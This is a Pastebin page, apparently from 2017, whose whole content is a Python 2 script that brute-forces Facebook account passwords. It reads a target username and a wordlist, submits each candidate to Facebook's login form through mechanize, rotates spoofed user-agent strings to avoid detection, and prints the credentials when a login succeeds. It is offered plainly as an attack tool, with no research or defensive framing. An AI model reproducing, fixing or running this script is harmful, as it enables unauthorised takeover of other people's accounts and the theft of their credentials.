Advertisement
lulu19

Untitled

Mar 20th, 2017
113
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.35 KB | None | 0 0
  1.  
  2. import re
  3. import os
  4. import sys
  5. import random
  6. import warnings
  7. import time
  8. import mechanize
  9. import cookielib
  10.  
  11.  
  12.  
  13. verbose = False
  14. useproxy = False
  15. usepassproxy = False
  16. log = 'fbbruteforcer.log'
  17. success = 'https://www.facebook.com/?stype=lo&jlou=Afef5xN4CaPr-GP2fXivYCHNoxCidq13YpHbEw7hBNuC13t6NVCO5M3KkOPTq2RyYi86L2IptS3GkygvXGSTv2zn&smuh=36195&lh=Ac-Tln8Yry8q-2Ge'
  18. #success = 'http://www.facebook.com/?sk=messages&ref=mb'
  19. fblogin = 'https://login.facebook.com/login.php?login_attempt=1'
  20. # some cheating ..
  21. ouruseragent = ['Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.10 sun4u; X11)',
  22. 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100207 Ubuntu/9.04 (jaunty) Namoroka/3.6.2pre',
  23. 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser;',
  24. 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)',
  25. 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)',
  26. 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)',
  27. 'Microsoft Internet Explorer/4.0b1 (Windows 95)',
  28. 'Opera/8.00 (Windows NT 5.1; U; en)',
  29. 'amaya/9.51 libwww/5.4.0',
  30. 'Mozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 95; c_athome)',
  31. 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)',
  32. 'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)',
  33. 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)',
  34. 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 qihoobot@qihoo.net)',
  35. 'Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]'
  36. ]
  37.  
  38.  
  39. option = '''
  40. Usage : %s [options]
  41. Option : -u, --username <username> | User for bruteforcing
  42. -w, --wordlist <filename> | Wordlist used for bruteforcing
  43. -v, --verbose | Set %s will be verbose
  44.  
  45.  
  46. P.S : add "&" to run in the background
  47. ''' % (sys.argv[0], sys.argv[0], sys.argv[0])
  48. usage = '''
  49. Usage : %s [option]
  50. -h or --help for get help
  51. ''' % sys.argv[0]
  52.  
  53. def helpme():
  54. print option
  55.  
  56.  
  57. def help():
  58. print usage
  59.  
  60.  
  61. for arg in sys.argv:
  62. try:
  63. if arg.lower() == '-u' or arg.lower() == '--user':
  64. username = sys.argv[int(sys.argv[1:].index(arg))+2]
  65. elif arg.lower() == '-w' or arg.lower() == '--wordlist':
  66. wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
  67. elif arg.lower() == '-v' or arg.lower() == '--verbose':
  68. verbose = True
  69. elif arg.lower() == '-h' or arg.lower() == '--help':
  70. helpme()
  71. elif len(sys.argv) <= 1:
  72. help()
  73. except IOError:
  74. helpme()
  75. except NameError:
  76. helpme()
  77. except IndexError:
  78. helpme()
  79.  
  80. def bruteforce(word):
  81. try:
  82. sys.stdout.write("\r[*] Trying %s... " % word)
  83. sys.stdout.flush()
  84. br.addheaders = [('User-agent', random.choice(ouruseragent))]
  85. opensite = br.open(fblogin)
  86. br.select_form(nr=0)
  87. br.form['email'] = username
  88. br.form['pass'] = word
  89. br.submit()
  90. response = br.response().read()
  91. print response
  92. if verbose:
  93. print response
  94. if success in response:
  95. print "\n\n[*] Logging in success..."
  96. print "[*] Username : %s" % (username)
  97. print "[*] Password : %s\n" % (word)
  98. sys.exit(1)
  99. except KeyboardInterrupt:
  100. print "\n[*] Exiting program...\n"
  101. sys.exit(1)
  102.  
  103.  
  104. def releaser():
  105. global word
  106. for word in words:
  107. bruteforce(word.replace("\n",""))
  108.  
  109. def main():
  110. global br
  111. global words
  112. try:
  113. br = mechanize.Browser()
  114. cj = cookielib.LWPCookieJar()
  115. br.set_cookiejar(cj)
  116. br.set_handle_equiv(True)
  117. br.set_handle_gzip(True)
  118. br.set_handle_redirect(True)
  119. br.set_handle_referer(True)
  120. br.set_handle_robots(False)
  121. br.set_debug_http(False)
  122. br.set_debug_redirects(False)
  123. br.set_debug_redirects(False)
  124. br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
  125. if verbose:
  126. br.set_debug_http(True)
  127. br.set_debug_redirects(True)
  128. br.set_debug_redirects(True)
  129. except KeyboardInterrupt:
  130. print "\n[*] Exiting program...\n"
  131. try:
  132. preventstrokes = open(wordlist, "r")
  133. words = preventstrokes.readlines()
  134. count = 0
  135. while count < len(words):
  136. words[count] = words[count].strip()
  137. count += 1
  138. except IOError:
  139. print "\n[*] Error: Check your wordlist path\n"
  140. sys.exit(1)
  141. except NameError:
  142. help()
  143. except KeyboardInterrupt:
  144. print "\n[*] Exiting program...\n"
  145. sys.exit(1)
  146. try:
  147. print "\n[*] Starting attack at %s" % time.strftime("%X")
  148. print "[*] Account %s" % (username)
  149. print "[*] Loaded :",len(words),"words"
  150. print "[*] Bruteforcing, please wait..."
  151.  
  152.  
  153. except KeyboardInterrupt:
  154. print "\n[*] Exiting program...\n"
  155. sys.exit(1)
  156. try:
  157. releaser()
  158. bruteforce(word)
  159. except NameError:
  160. helpme()
  161.  
  162. if __name__ == '__main__':
  163. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement